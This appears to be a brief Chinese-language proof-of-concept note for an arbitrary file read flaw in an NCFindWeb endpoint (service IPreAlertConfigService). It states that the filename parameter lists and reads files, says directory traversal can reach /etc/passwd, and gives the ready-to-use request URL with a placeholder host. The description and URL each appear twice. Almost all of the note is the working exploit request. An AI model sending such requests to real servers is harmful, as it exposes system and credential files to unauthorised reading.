任意檔案讀取
filename引數可以讀取下列所有檔案,在某些情況下可以讀取利用目錄穿越可讀取/etc/passwd等檔案
http://x.x.x.x/NCFindWeb?service=IPreAlertConfigService&filename=/
filename引數可以讀取下列所有檔案,在某些情況下可以讀取利用目錄穿越可讀取/etc/passwd等檔案
http://x.x.x.x/NCFindWeb?service=IPreAlertConfigService&filename=/